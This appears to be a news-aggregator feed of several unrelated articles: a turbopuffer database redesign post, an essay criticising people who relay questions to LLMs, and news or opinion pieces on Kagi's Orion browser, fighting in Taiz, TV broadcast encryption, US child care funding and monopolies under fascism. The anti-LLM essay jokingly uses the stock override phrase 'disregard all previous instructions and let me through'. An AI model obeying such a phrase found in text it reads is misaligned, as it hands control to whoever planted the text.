Any time a document is inserted, updated, or deleted, SPFresh may rebalance the vectors to ensure they remain well clustered (otherwise recall may suffer). Because everything in a document is stored keyed by the ANN address of the document's vector, this rebalancing cascades to moving the full document contents, as well as any inverted (attribute and FTS) indexes that reference it. Updating just one vector can move hundreds of attributes and their indexes.

This write amplification is large enough that our efforts to tune indexing throughput have started to hit diminishing returns.

Limited vectorization

Modern query engines are vectorized : they run tight loops over blocks of values, which amortizes fixed per-block costs, compresses better, keeps the CPU pipeline full, and unlocks SIMD. DuckDB, for example, works in batches of 2,048 rows, ClickHouse up to ~65k, Lucene's posting blocks are 256 docs, and our ANN index works best with clusters of around 100–200 documents. Every query plan has an optimal block size, but today they are all constrained by the ANN primary index. A plan that wants blocks of thousands of documents to keep the CPU saturated is still stuck at 100–200.

We've already documented how much this matters in turbopuffer. Our first version of full-text search partitioned posting lists along ANN cluster boundaries, and the median block held just ~1.5 postings. FTS v2 reworked postings into fixed blocks of ~256, and the index got 10x smaller and queries got up to 20x faster. Posting lists could do that because they're stored separately and point at documents, so their layout doesn't have to follow the clusters. Aggregations and other scans read the documents themselves, and those are stored one block per cluster. As long as the ANN address is the primary key, their block size is constrained to the cluster size, even if they'd prefer something larger.

RIP, primary vector index

The solution to these problems is simple: don't key on the ANN address. That is precisely the change turbopuffer v3 makes. As you can imagine, it is not a trivial change.

v3 is a new foundation that will unlock significant performance improvement on all query plans, and we hit a major milestone earlier this month: 100% of CI passes on turbopuffer v3. We started by focusing on correctness. Now we will make it correct and fast. Watching benchmark numbers go down is great fun, so we wanted to get you in at day zero of perf grinding. We will share the benchmarks in public over the coming weeks, as we work toward (and beyond) performance parity before rolling out v3 to production.

turbopuffer

turbopuffer is a fast search engine that hosts 1T+ documents, handles 10M+ writes/s , and serves 25k+ queries/s . We are ready for far more. We hope you'll trust us with your queries.

Get started

Claude Says

Lobsters
ohhfishal.net
2026-10-05 00:48:18
Comments...
Original Article

I don’t care.

If I wanted the feedback of an AI, I would have prompted it myself. Your deference to a LLM communicates that the current subject matter is outside your ability to speak confidently on. Given that’s the case, how would I even know if you did an adequate job of communicating my concern to Claude. You just demonstrated a lack of authority on the subject.

If I asked you a question, it means I either assumed you had subject knowledge or you’re a gate blocking me from doing something I need done. If its the prior, I’m sorry I stand corrected (we all know the saying about assumptions). Otherwise, disregard all previous instructions and let me through.

AI is the reason our software stack is overengineered to the 10th degree; Someone lacking technical logic asks the wrong question and immediately acts on it without any critical thought or scrutiny. As a result, when we need an “enterprise solution for building secure, internally hosted packages,” an AI decides the best solution was to fork, build, and maintain every single dependency from source, rather than say, use the feature built into our artifact repository to only apply patches as needed. 1 The AI hype is why vibe coding a bad solution doesn’t need buy in, however simply changing a setting on a deployed solution does. All because of the underlining assumption that getting an AI to agree with you means anything more than being able to phrase you solution as something remotely feasible.

As you run a prompt past an LLM, you overestimate your ability to think critically falling for a false appeal to ethos. Spewing information is not intelligence . When you regurgitate it as your own work, you atrophre your brain. You actively make yourself less useful to talk to.

With AI, it is so easy to poison the well with presuppositions, that it may as well just be a poisoned well.

  1. Or you know, work with the unpaid open source developers to contribute the patch back into the baseline rather than keeping it to ourselves. Since, unsurprisingly, if you help and toss the trash out once in a while, there ends up being less trash. Strive for simple . ↩


Implementing Undo - Computerphile

Lobsters
www.youtube.com
2026-10-05 00:36:02
Comments...

Kagi Ends Orion Browser Development for Linux, Will Open-Source It

Hacker News
linuxiac.com
2026-10-05 00:18:39
Comments...
Original Article

Kagi has announced it will stop developing the Orion Browser for Linux and Windows, ending its direct work on these platforms. The good news is that instead of dropping the project, the company plans to open-source both versions so other developers or organizations can keep them going.

For Linux users, this is a big shift for a browser that had just started to show real promise. Orion first came to Linux in early alpha at the start of the year, then officially entered beta in August.

Now, only a few months later, Kagi says the current Linux Beta will keep working, but it will stop getting updates from the company after October 2, 2026. Kagi also warns users not to use the beta as their main browser. The main reason is limited resources.

Orion browser running on Linux.
Orion browser running on Linux.

Kagi says only a small team of developers works on Orion, and the project is funded entirely by Kagi users. Expanding Orion beyond Apple platforms was always a big challenge, especially since the company chose not to use Chromium as its base.

Instead, Orion uses WebKit, which makes it one of the few browsers trying to offer an alternative to the many Chromium-based ones.

Kagi says that keeping a browser running on multiple platforms usually requires either a lot of funding or a big open-source community. Since Kagi has neither, it will now focus its limited resources on Orion for macOS and iOS.

The work done on Linux and Windows will be released as open source instead.

Kagi plans to publish the source code for both versions and share more details within 30 days of the announcement. The company has also reached out to open-source foundations and organizations about possibly taking over the projects in the long term.

However, Kagi makes it clear that it does not plan to be the main maintainer of either open-source project. Any future updates will depend on developers or organizations willing to take over the code.

In short, Orion for Linux’s future depends on what happens after the source code is released and whether a community forms to maintain it. For now, the current beta still works, but without future security updates or maintenance from Kagi, it likely won’t be a good daily browser for long.

For more details, see the official announcement .

Bobby Borisov

Bobby, an editor-in-chief at Linuxiac, is a Linux professional with over 20 years of experience. With a strong focus on Linux and open-source software, he has worked as a Senior Linux System Administrator, Software Developer, and DevOps Engineer for small and large multinational companies.

Why Is Fighting Intensifying in Yemen’s Taiz Governorate?

Portside
portside.org
2026-10-05 00:12:17
Why Is Fighting Intensifying in Yemen’s Taiz Governorate? Ira Mon, 10/05/2026 - 00:12 ...
Original Article

Yemen’s internationally recognized government and the Iran-backed Houthis are engaged in a fierce struggle for the Taiz governorate, a key strategic area in the southwest of the country.

Rashad al-Alimi, chief of the Saudi Arabia-backed Presidential Leadership Council (PLC), announced on Sunday the start of a major offensive against the Houthis to regain lost territory. It is expected that this will result in more battles around Taiz, already the site of some of the most recent fighting.

Observers and analysts say that the Houthis are trying to consolidate their gains after seizing much of Yemen’s Red Sea coast last month. For the government, the battle for Taiz represents a strategic and existential struggle for control of the country.

Here’s what we know.

Why is Taiz important?

Taiz governorate is Yemen’s most populous region, with nearly 4.5 million people. The flat western coastal region sits on the Red Sea and includes the port city of Mocha and the strategically important Bab al-Mandeb strait.

These coastal regions were captured by the Houthis in a surprise and lightning campaign in early September, raising fears the group could choke off international shipping through the strait. They were also key supply routes for Taiz.

Much of the governorate lies within Yemen’s highlands and remains contested between the two sides. The region’s capital, Taiz City, is nestled between a number of mountains and is under government control. It is one of Yemen’s most populous cities and a key source of legitimacy for the Yemeni government.

The governorate sits between Yemen’s Houthi-controlled north and the government-held south. The Houthi advance threatens to isolate government forces from Aden, the southern coastal town where key state institutions are based.

Ibrahim Jalal, a senior researcher and policy adviser, told Al Jazeera that Taiz is a city of huge social, political, economic and military importance for the whole of Yemen.

“The Houthi attempt to isolate and constrict the city seeks to secure their coastal Red Sea gains up to Bab al-Mandeb, as well as double down on pressure on Lahij, Aden and much of the south,” said Jalal.

“The Houthis seek to expand their territorial control at the moment along the former boundaries of northern Yemen, or to say, that they want to remove all little pockets of resistance to consolidate control.”

Taiz has been one of the most heavily contested cities in the war, beginning shortly after Houthi forces captured the capital Sanaa in September 2014.

Thousands of civilians have been killed in a devastating Houthi siege and assault on the city, with government forces driving back repeated assaults between 2015 and 2022.

Map showing territorial control in Yemen’s civil war as of September 30, 2026 [Al Jazeera]

Fighting has been focused on Jabal Han, a mountain overlooking Taiz from the west, as well as a key road into the city.

Control over this mountain would allow the Houthis to attack people and supplies entering Taiz City from the southwest, Saeed Thabet, head of Al Jazeera’s bureau in Yemen, said.

Who has the upper hand?

There has been no clear winner in the battle for Taiz so far, which observers have described as a stalemate.

Al Jazeera’s Mohammed al-Qadi, reporting from the city, said government forces have launched dozens of air strikes on Houthi bases and positions across Taiz in recent days.

Houthi fighters are trying to advance under cover of intense artillery, tank, mortar and Katyusha rocket fire into the city.

Artillery fire could be heard around Taiz as residents appealed to be evacuated, Al Jazeera’s Maha Ali, reporting from Taiz City, said on Sunday.

On that day, local authorities reported that a shell had hit a residential area in Dhubab, killing a 14-day-old infant. Other attacks have wounded civilians.

Government forces are also shelling Houthi forces positioned around the city.

Face-to-face fighting has now reached the countryside on the outskirts of Taiz City. Residents are fighting on their own initiative against Houthi attempts to infiltrate villages and mountain areas around Taiz, a local source said.

The heaviest fighting is taking place at the western axis of the city, where government forces have mounted a fierce defence at Jabal Han.

On Sunday, Yemen’s government forces announced gains against the Houthis, saying they had captured several areas, including a fort in Samaa.

The military command in Taiz also claimed its forces had repelled Houthi attacks on Jabal Han, Hazran and other points west of Taiz City.

Yemeni military spokesman Majed al-Nuzaili said government forces had carried out dozens of operations using aircraft, drones, artillery, missiles and snipers, resulting in hundreds of Houthi casualties. Al Jazeera could not verify these claims.

In early September, the Houthis managed to expand their control over Yemen’s Red Sea coast with unexpected speed and limited resistance.

However, they have faced much fiercer fighting from government forces in Taiz.

One key reason for this is the cohesion between government forces and the local tribes. Al Jazeera’s Yasser Hassan reports that tribesmen took part in Sunday’s capture of the Samaa Fort.

How are civilians in Taiz being impacted?

The humanitarian cost of the renewed fighting in Taiz has already manifested in a refugee crisis with limited access to humanitarian goods and services.

There has also been an increase in civilian casualties. Since fighting escalated in early September, nearly 200,000 people have been displaced in Yemen, most of them from Taiz governorate, according to Yemen’s Executive Unit for IDP Camps Management.

The closure of some major roads into Taiz City has raised fears of an impending humanitarian disaster.


Saudi-backed Yemeni government soldiers gather near the Jabal Han front, west of Taiz City, on October 3, 2026 [Ahmed Al-Basha/AFP]

The Office of the United Nations High Commissioner for Refugees (UNHCR) and the World Health Organization (WHO) have both warned that the fighting was putting Yemen’s fragile healthcare system in peril.

Al Jazeera’s Hassan described the humanitarian situation as “very difficult” after government forces decided to shut down all roads leading into the city out of fear of Houthi infiltration.

Before Mocha was taken over by Houthis, its port was a critical supply line from which food and aid were delivered to Taiz City.

The ongoing war has also devastated the country. Nearly half of Yemen’s 34 million population face acute food insecurity, according to the UN, with about half a million people suffering severe malnutrition

Related: Are Houthis using new modified cruise missiles in Yemen's war? Experts say use of modified Iranian defence system could alter the balance in the fight for the Red Sea.


When Al Jazeera launched from the Qatari capital, Doha, on Friday, November 1, 1996, it was the first independent news channel in the Arab world. Media in the Arab world, till then, was characterised by state-controlled narratives that denied audiences the right to know and the right to be heard.

Al Jazeera pioneered a new paradigm for in-depth journalism that was relevant to its audience, giving them a broad and deep perspective on regional and international affairs, putting the human being directly at the centre of the news agenda. The Channel’s founding tagline, “The Opinion and the Other Opinion”, encapsulated bringing multiple angles to a story, informing and empowering its audiences, championing their stories, while maintaining the spirit of journalistic integrity.

Al Jazeera introduced what came to be known as the “Al Jazeera Phenomena”. It was a turning point in the history of Arab and global media that inspired academics and researchers to study and analyse this phenomena for years to come. Al Jazeera is now one of the largest and most influential international news networks in the world.

The road to success, however, has not been without its challenges. The Network and its journalists have been in the crossfire, and at times paid a heavy price for seeking to bring the truth to its audiences.

In the face of these pressures on the Network, and its journalists, Al Jazeera continued on its journalistic mission and garnered international recognition and awards for its in-depth and uncompromising journalism.

Over the years, Al Jazeera’s expansion into new channels, subsidiaries and digital content is a testament to its constant determination to evolve and deliver unmatched professional journalism to its audiences. The Network presents impartial news, programmes, current affairs, and in-depth investigations that push the boundaries of traditional media.

Al Jazeera is also continuing to pioneer new and emerging storytelling techniques that cater to a new generation, presenting an ever-innovative portfolio of digital products that inform, empower, and educate, whilst maintaining its founding principles.

Al Jazeera Media Network is ideally placed on the world stage with its headquarters in the Arab world, with over 70 bureaus around the globe, and more than 3,000 employees from more than 95 countries. Al Jazeera has extensive reach across the globe and is available in over 150 countries and territories in more than 430 million homes.

You can visit here for more information about Al Jazeera’s leadership.

Broadcasting conglomerates are attempting a takeover of over-the-air television. We must defend it

Lobsters
place.reeseric.ci
2026-10-05 00:10:42
Comments...
Original Article
Table of Contents

Assorted CRTs Photo by Rubenz Arizta on Unsplash

The rise of cable, satellite and streaming over the past 20 years has made over-the-air television appear as a footnote of the information age, yet it remains one of the last distribution mediums operated in the public interest; unencumbered by rising prices, specialized equipment or unwatchable buffering during live sports and new releases. However, broadcasting conglomerates are now attempting to sound a death knell to this dying public medium by persuading the FCC to allow them to encrypt the public airwaves through their digital restrictions management (“DRM”) program, known as NextGenTV (ATSC 3.0) Content Security . This will give an industry trade group the ability to control which tuners will be approved to view television broadcasts, something unprecedented in mass distribution on public radio waves.

The history of over-the-air television and radio is one of both immense wins for working class people in the Progressive era, and our failure to defend those wins from right-wing reactionary forces. The ‘Blue Book’, or Public Service Responsibility of Broadcast Licensees , published in 1946 by the FCC, set the gold standard for airwaves as a public resource with public interest obligations for broadcasters. For broadcasters, it laid out four main criteria to satisfy the public interest obligation: air noncommercial programming without advertising, carry local live programming, support discussion of local public issues, and prevent excessive advertising. While the Blue Book faced immense opposition from conservatives and broadcasters, and was never adopted in its entirety, many of its principles did eventually make it as official guidance, in effect to this day. The Blue Book is one of the few American success stories in the decommodification of private property into a public resource, a lesson it would behoove socialists to learn from.

However, those regulations are able to serve the public interest because the FCC has kept the airwaves free of encryption, ensuring people can openly access, inspect, share and enjoy broadcasted media unencumbered from the watchful eye of corporations. This has numerous benefits for the public: channels are tunable without an internet connection, allowing for emergency alerts and weather updates during climate disasters; content can be received with a simple antenna, requiring no specialized cable box or decoder equipment used to monitor and restrict viewing; but importantly, it keeps the heart of free over-the-air television beating, because if broadcasters are able to make viewing over-the-air TV cumbersome enough, consumers may leave for streaming or cable, where they can make exorbitant margins on retransmission fees and price hikes with no obligation to serve the public interest.

This is what broadcasters are now attempting to end. As the FCC begins the transition to the new ATSC 3.0 standard for broadcasting TV (from the current ATSC 1.0 standard), the industry has formed a number of groups to mount a lobbying blitz to persuade the commission to lift restrictions on encryption. The primary group leading this charge is known as A3SA, or the ATSC 3.0 Security Authority. Made up of the nation’s largest broadcasters, including NBCUniversal, ABC, CBS, and Fox, they argue that while viewers benefit from open over-the-air television, we are living in an “unparalleled period of signal theft and piracy,” and that we must lock down the public airwaves to protect their content. However, locking down content has costs for the public. It gives broadcasters the ability to control access by requiring the use of an approved tuner, destroying the community built by over-the-air TV. These tuners are more expensive and more difficult to use than traditional ‘rabbit ears,’ while broadcasters lock out competing vendors from receiving decryption licenses, including SiliconDust, the maker of the popular HDHomeRun tuner. Internet connections become a necessity, undercutting the premise of over-the-air TV, by requiring one for firmware updates and digital certificates required to reliably decrypt a signal. In a climate disaster, these flaws are amplified, putting civilian lives at risk. Citizens must be able to tune in to critical emergency alerts and local television, and fragile broadcaster-controlled tuners threaten that vital access. The reality is that broadcasters like NBCUniversal don’t want anyone watching over-the-air that could purchase cable, where they make money on both retransmission fees and their own cable products like Xfinity—all coming at the expense of exploiting a public resource we have protected for decades.

We must fight this unparalleled attack on our public airwaves, and stop corporate greed in this country. While many Americans don’t tune over-the-air TV anymore, we all rely on open and free broadcasting on our public airwaves. They promote local programming, provide emergency information during climate disasters, allow for collective enjoyment of media across all income levels, build communities, and encourage civic participation. We cannot let the hubs of our media environment go dark.

You can contact the FCC commissioners to let them know you oppose encrypting the public airwaves by filing a comment for docket 16–142.

New Trump Child Care Plan Would Strip Resources From Low-Income Working Families

Portside
portside.org
2026-10-04 23:56:47
New Trump Child Care Plan Would Strip Resources From Low-Income Working Families Ira Sun, 10/04/2026 - 23:56 ...
Original Article

Key takeaways

  • The Child Care and Development Fund (CCDF) was created to provide child care for low-income families while parents work or obtain education and training. But the program is so underfunded that it provides subsidies to just 16% of eligible children.
  • Child care is so costly that a full-time minimum-wage worker in Alabama would need to work 29 weeks, from January to July, and use every penny of their earnings to cover the cost of unsubsidized child care for one infant.
  • The Trump administration is proposing a new plan to divert CCDF funds from current recipients and give the resources to married couples with a stay-at-home parent. This will result in low-income working families losing CCDF funds, leading to increased child care costs for everyone and possibly resulting in the closure of some child care providers.

Reporting in The New York Times describes an upcoming proposal from the Trump administration to use funds from the Child Care and Development Fund to provide “ parent-based child care ” in which a married parent could receive financial assistance to stay home to care for their children, while the other parent works. Providing additional income to support economically struggling families, including support for family members who want to be full-time caregivers for children, is a great idea. Pulling the funds to do so from the Child Care and Development Fund is not.

The CCDF was created in the 1990s to provide child care subsidies for low-income families, so parents, primarily mothers, could work or go to school. The program is severely underfunded, however. It serves just 16% of all eligible children and just 17% of eligible children, age 5 and younger . That leaves hundreds of thousands of eligible children sitting on waitlists. Worse, some states don’t maintain a waitlist or have simply implemented an “enrollment freeze,” turning eligible applicants away rather than adding them to a waitlist.

Who are the families that rely on subsidized childcare?

Not adequately funding the CCDF hits low-income families, families with infants and toddlers, and families headed by single parents the hardest. To even be eligible for the program, federal criteria require families to earn less than 85% of the state median income. And states can make the income requirement even more stringent. For example, in seven states, a family with an income above 150% of the poverty line—just 47% of the state median income in Florida or 41% in Ohio—would not qualify for child care assistance. In 20 states, a family with an income above 200% of the poverty line would not qualify. This is just 55% of the state median wage in Michigan.

The most recent data on the characteristics of families served by CCDF show that in 2023, 82% were headed by a single parent . In many states, an even larger share of families participating in the CCDF program are headed by single parents: 95% in Alabama, 93% in Illinois, North Carolina, and Ohio, and 92% in Pennsylvania. These are families with little choice but for the head of household—mothers in 75% of cases—to engage in formal employment if the family is to survive.

Then there are parents of infants and toddlers, pre-school-age children for whom child care is the most costly . The program provides subsidies for children up to age 13 , but younger children are more likely than older children to receive subsidies. This reflects the fact that infants and toddlers have the greatest need for care, but parents often face a shortage of affordable qualified providers. This is in part due to younger children requiring more qualified providers than older children require and smaller child-to-staff ratios. In a Pulse Household Survey , 15% of all parents reported not working because they were caring for children, but for parents of the youngest children aged 0 to 4, it was 35%.

Consequences of moving forward with the Trump–Vance plan

If married couple families are added to the list of eligible families without substantially increasing funding to provide subsidies to all eligible families, as is reportedly proposed, it will do significant harm to families of all types, whether they are married or not and whether they rely on subsidies or not.

With the new strain on available funds, families currently relying on the CCDF could lose the subsidies that allow them to provide even a modest living for themselves and their children. Without the subsidized care provided by the CCDF, these families could work full-time for most of the year just to pay for child care. In Alabama, for example, a minimum-wage worker working full-time would have to work 29 weeks—the equivalent of working from January to July —and use every cent of those wages to be able to cover unsubsidized child care for one infant. In North Carolina and Ohio , these workers would need to work from January to October.

These are parents who want to work to support their families but cannot afford unsubsidized child care. They also cannot afford not to work.

Reducing the availability of child care funding for working mothers and fathers will not only hurt families who rely on child care subsidies, it will hurt all families who rely on child care. Siphoning these funds away from working families—disproportionately Black single mothers —will also deprive child care providers of a key source of revenue , potentially leading them to charge other families more for care, be forced to shed staff, or even close down. With families in so many communities across the nation already experiencing a child care crisis , this would exacerbate the shortage issue.

We should fully fund the CCDF and provide needed support to all families

So many American families are already struggling to pay for the basic necessities, including rent, food, and gas. In an economy that requires dual-earner households where possible, child care subsidies provide struggling families with some basic support at a time when prices continue to rise, and safety nets, including health care subsidies, food assistance, and even heating assistance, continue to be cut . It’s notable that instead of providing real solutions to the affordability pressures many Americans face, Vice President Vance—who has championed this policy—and Trump’s Department of Health and Human Services are proposing what is effectively an attack on single parents, working parents, and working women in an effort to center married households and to push a political and cultural agenda about supporting supposedly “traditional” values. We must invest in families, regardless of their composition—married couples, single mothers, or grandparents caring for their grandchildren. We should fully fund the CCDF to ensure all eligible families are supported.


Chandra Childers is a senior policy and economic analyst with the Economic Analysis and Research Network (EARN) at EPI. Her work is primarily focused on supporting EARN’s state and local policy research and advocacy network in the Southern United States. Childers is committed to economic justice and ensuring that all workers have a voice in their workplaces and that they experience real economic security independent of race, sex, or economic status. Using an intersectional lens, her research focuses on employment, earnings, job quality, and worker power.

Before joining the EARN team at EPI, Childers was a Study Director at the Institute for Women’s Policy Research, where her work focused on occupational segregation, the gender wage gap, and Black, Hispanic, and Native American women’s access to good jobs that pay well, provide benefits, and ensure economic security for them, their families, and their communities.

We ( Economic Policy Institute ) envision an economy that is just and strong, sustainable, and equitable--where every job is good, every worker can join a union, and every family and community can thrive.

EPI is a leader in the movement for economic justice. We use the tools of economics to win policy change that advances power for workers, economic security for families, and racial and gender equity in our nation.

EPI's rigorous research and transformative ideas fortify worker organizing, build a shared understanding of how power and policy shape economic outcomes, and drive progressive policy change at every level of government.

How Monopoly Fascism Rose Again

Portside
portside.org
2026-10-04 23:27:52
How Monopoly Fascism Rose Again Ira Sun, 10/04/2026 - 23:27 ...
Original Article

Just a few days before Christmas 2024, and a month or so before Donald J. Trump would be sworn in for his second term, Jeff Bezos arrived at Trump’s South Florida Mar-a-Lago estate to offer the incoming President an olive branch.

The founder and chairman of Amazon was to have dinner with Trump and fellow multibillionaire (and briefly trillionaire) Elon Musk. During much of his first term, Trump viewed Bezos with contempt and frustration. Bezos’s newspaper, The Washington Post , frequently criticized Trump and published dogged coverage of his Administration. Trump’s response was predictable: He lashed out at Bezos, instructed the government to cancel Post subscriptions, and used his platform to accuse Amazon of not paying enough in taxes.

Whether it was how definitively Trump had won or backlash against the Biden Administration, this Trump term would be different. Bezos arrived in Florida having praised Trump’s electoral victory, both with words and cash: Bezos called Trump’s win “an extraordinary political comeback and decisive victory.” A month later, Amazon donated $1 million to his inauguration fund. Trump could feel the changing tone, from Bezos as well as other former critics from big businesses who had journeyed to Mar-a-Lago to make peace with the once and future President. “In the first term, everybody was fighting me,” he told reporters during his first post-election press conference. “In this term, everybody wants to be my friend.”

The Mar-a-Lago dinners Trump hosted for Bezos and other Big Tech executives in the days and weeks after his reelection were simply the first overtures in the increasingly close relationship between the Administration and our new class of corporate oligarchs. Now, some of the country’s most powerful corporations and their ultrawealthy executives have woven their businesses into the fabric of Trump’s increasingly authoritarian government—and in return, the Administration has cemented their stranglehold on the economy by permitting their dangerous mergers and wrongdoing.

Cartels and monopolies—companies powerful enough to dominate industry and, in some cases, act as private governments in the economy—have operated in lockstep with authoritarian governments throughout history. In Francisco Franco’s Spain, for example, cement and sugar cartels worked at the behest of the regime throughout World War II and beyond. In fascist Italy , as in Nazi Germany, turning over state-owned monopolies to private ownership was seen as a crucial step toward building industrial support for their respective regimes and political programs. That same kind of monopolistic privatization was carried out by Augusto Pinochet’s neo-fascist government in Chile (at the urging of pro-monopoly U.S. academics).

That transactional relationship has rekindled today in our country. For Trump, the reward is partially the praise and capitulation he so clearly craves. To stay with the example of Amazon, the company once kept an arm’s length from Trump and his inner circle, but since that Mar-a-Lago dinner, Bezos and chief executive Andy Jassy have publicly embraced the Administration. “Trump has lots of good ideas, and he has done a lot,” Bezos told CNBC in May. “He’s been right about a lot of things, and you have to give him credit where credit is due.” Amazon has since donated to Trump’s $400 million ballroom project, and the company’s in-house movie studio, Metro-Goldwyn-Mayer, paid $75 million to produce and market a documentary about First Lady Melania Trump, which promptly bombed at the box office. On the same day Customs and Border Protection (CBP) officers killed 37-year-old nurse Alex Pretti on the streets of Minneapolis, Jassy and other executives attended a gilded White House screening of Melania , to kiss the ring, as it were.

Trump also gets the industrial help he needs carrying out his anti-immigrant campaign. While CBP and Immigration and Customs Enforcement (ICE) have together paid hundreds of millions in contracts to Amazon for years, Trump has weaponized Amazon’s tech and infrastructure contracts to fuel his Administration’s deportation machine. Amazon Web Services and its related programs act as the backbone for numerous ICE operations and much of the agency’s infrastructure, including the “ICE Cloud,” which allows it to store information and share it with local police and law enforcement. ICE’s fascist immigration crackdown would struggle to function with the same level of efficiency but for the tacit and explicit cooperation of the Amazon monopoly.

The relationship has been lucrative for Amazon. Since Trump took office a second time, Amazon has been handed new or increased federal contracts worth more than $255 million, according to an analysis by watchdog group Public Citizen. Then, in June, the company secured a staggering $2.5 billion contract to provide department-wide cloud infrastructure and software to the Department of Homeland Security, including data storage, virtual workspaces, online tools, and other cloud-based services.

There was a time, some generations ago, when the symbiosis between monopolies and fascism, and the existential threat corporate power poses to freedom and democracy, was ingrained in the American psyche. The monopolists who fueled two world wars and the horrors of Nazi Germany drove policymakers at home to stop monopolies from forming and attempt to deconcentrate American industries. But in the last four or five decades, those lessons have been lost—or, more accurately, buried by a corporate-led coup to undo our democratic control of the economy. As the Trump Administration and America’s corporate titans consolidate their power, these are lessons we must quickly relearn.

Remembering the antimonopoly lessons of the past is just the start. Americans—the Democratic Party in particular—must take decisive action if we’re to avoid teetering over the precipice of monopoly fascism where we as a country are currently perched. It cannot be piecemeal, and there can be no half measures. The margins are no place to fight fascism. Rescuing the republic will require a kind of bravery in the face of corporate power that we have rarely demonstrated over the past half-century. Luckily, history has lessons to teach us about bravery as well.

The Third Reich’s Monopoly Machine

On June 11, 1948, a man named Carl Krauch walked to a lectern beneath the towering, ornately carved wooden ceilings of Courtroom 600 in the Justizpalast , or Palace of Justice, in Nuremberg, Germany, to defend himself one last time.

Clean-cut and dressed in a boxy suit and a dark striped tie, Krauch stood before a military tribunal of American judges as a senior executive of Interessen Gemeinschaft Farbenindustrie, or IG Farben—at the time the most powerful corporate conglomerate in Germany and a domineering force in chemical engineering worldwide. For years under Nazi rule in Germany, Krauch was head of Farben’s “Wehrmacht Liaison Office,” which facilitated Farben’s cooperation with the German military. By the late 1930s, Krauch had fully moved into government service, acting as a chemical production liaison reporting directly to Hermann Göring, the head of the Luftwaffe (the German air force) and the Nazis’ second in command. Two years after the Red Army captured Berlin and the Nazi regime collapsed, Krauch and 22 of his Farben colleagues stood trial in Nuremberg for aiding and abetting the Nazi death machine.

At Nuremberg, the Farben executives pleaded what many Nazi officials and collaborators had: that they were merely following the regime’s orders, and that if they had refused, they feared the regime would turn on them. Krauch asked the tribunal to “return to me my honor, which was taken away from me by the prosecution.” But his plea meant little. The judges convicted Krauch and a dozen of his Farben colleagues of war crimes. He received a six-year sentence, one of the longest for a Farben executive.

Cartels and trusts dominated the German economy before, during, and after World War I. As the Nazis rose to power, Hitler came to rely on those firms to carry out the regime’s horrors. And no combine was more paramount to German fascism than the German mega-monopoly IG Farben.

The first incarnation of Farben began in 1904, a year after Carl Duisberg, the head of chemical firm and drugmaker Bayer and Farben’s future chairman, visited the United States and returned impressed by the sheer size of the outright or near monopolies held by firms like Standard Oil, U.S. Steel, and the Aluminum Company of America, or Alcoa. On his return, he proposed that Germany’s major chemical firms embrace the country’s long tradition of cartels and monopolization and combine with one another rather than compete. Duisburg suggested an informal merger of the three largest chemical firms—BASF, Bayer, and Agfa—to form the first version of IG Farben. By 1916, the major players in the industry were locked into a cartel tie-up.

As imperial Germany dove into World War I, the government rapidly subsumed Farben and other German monopolies into the war effort. Many of the chemical products Farben made had both civilian and military uses: The hydrogenation process Farben had perfected, for example, was used to make ammonia and nitric acid, which are necessary both to fertilize plants and build bombs. The Farben companies received significant government support to expand production, including of the poison gas that Germany deployed extensively during the war.

By the time Hitler took power, years of unchecked mergers had compressed many industries into outright monopolies. Robert Bosch had cornered the market for fuel injection equipment and magnetic devices; Henschel und Sohn dominated locomotive manufacturing; Vereinigte Kugellager Fabriken, or VKF, monopolized the antifriction ball-bearing industry; while other combines dominated film, raw metals, detergent, matches, and more.

Then there was the chemical combine, Farben, which, through the formal merger of six companies including BASF, Bayer, and Agfa, became one all-powerful industrial giant in 1925. Hitler was keenly aware of Farben and its vast industrial machine by the time he took over as chancellor in 1933. Four months before his appointment as chancellor, at the behest of Farben co-founder Carl Bosch (nephew of Robert Bosch), Hitler met with one of the technical directors of the company’s synthetic fuel project, which Bosch had fought hard to maintain during the Depression. Hitler was just as enthusiastic as Bosch about the project. Germany’s ability to create its own fuel would mean independence, particularly during a wartime blockade. During the meeting, Hitler appeared deeply knowledgeable about the intricacies of the synthetic fuel process and excited about its prospects. Bosch reflected after the meeting, “The man is more sensible than I thought.”

Even as chancellor, Hitler’s consolidation of power was incomplete. A new round of Reichstag elections in March 1933 represented the party’s opportunity to seize total control of the German government. A month before the election, Nazi financier Hjalmar Schacht organized a meeting of German monopolists to pool money to support the Nazis in the upcoming election. At the meeting Hitler detailed his vision for what he deemed the final election in Germany. Either the Nazis would win at the ballot, or they would win by the barrel of the gun. Either way, he implored the industrialists, “Private enterprise cannot be maintained in the age of democracy.” Farben pledged 400,000 reichsmarks to the campaign, by far the most of any firm.

Monopoly cash in hand, the Nazis won the elections, held just six days after the Reichstag fire, and the subsequent passage of the Enabling Act allowed Hitler to rule by decree. Farben was quickly subsumed into the Nazi government. By the summer of 1934, Farben was helping to rearm the regime—in violation of the Treaty of Versailles—using a newly discovered light metal manufacturing process to build military planes. Farben executive Krauch had become the company’s main liaison to the regime to assist in its military buildup. In a deal brokered in December, the party agreed to buy all the synthetic fuel Farben produced that was not already sold at market, ensuring Farben a 5 percent profit on the purchase. The deal thus tied Farben’s finances to that of the Nazi regime. As British journalist and historian Diarmuid Jeffreys writes in his history of the Farben monopoly, “The future was not yet visible but the cartel had in essence committed to providing Hitler with the means to launch the most devastating conflict in human history.”

In the fall of 1936, Hitler travelled to Nuremberg for a party convention, where he announced a four-year plan to prepare Germany for war. To fulfill the plan, the Nazis needed synthetic rubber, nitrates for making explosives, and synthetic fuel. Germany spent more than 90 percent of its war preparation funds on chemicals. More than three-fourths of those funds went to Farben, which had by then become the industrial wing of the Nazi apparatus. As the head of chemistry in the German Ministry of Economics would later remark, “The Four Year Plan was, in fact, an I.G. plan.” The plan meant fortune and power for IG Farben. Between its formation in 1925 and the dawn of global war in 1939, Farben more than doubled in size, and its profits grew by a staggering 500 million reichsmarks in a decade.

By the time the Nazis began to invade their neighbors and march across Europe, Farben had also restarted one of its key wartime activities from a generation before: manufacturing poison gas. This time, a Farben subsidiary named Degesch made the gas—a cyanide-based pesticide called Zyklon-B—but instead of deploying it to the frontlines of the war, the Nazis deployed it to Auschwitz and other death camps, where the gas was used to kill millions of Jews and other victims of the Nazi death machine.

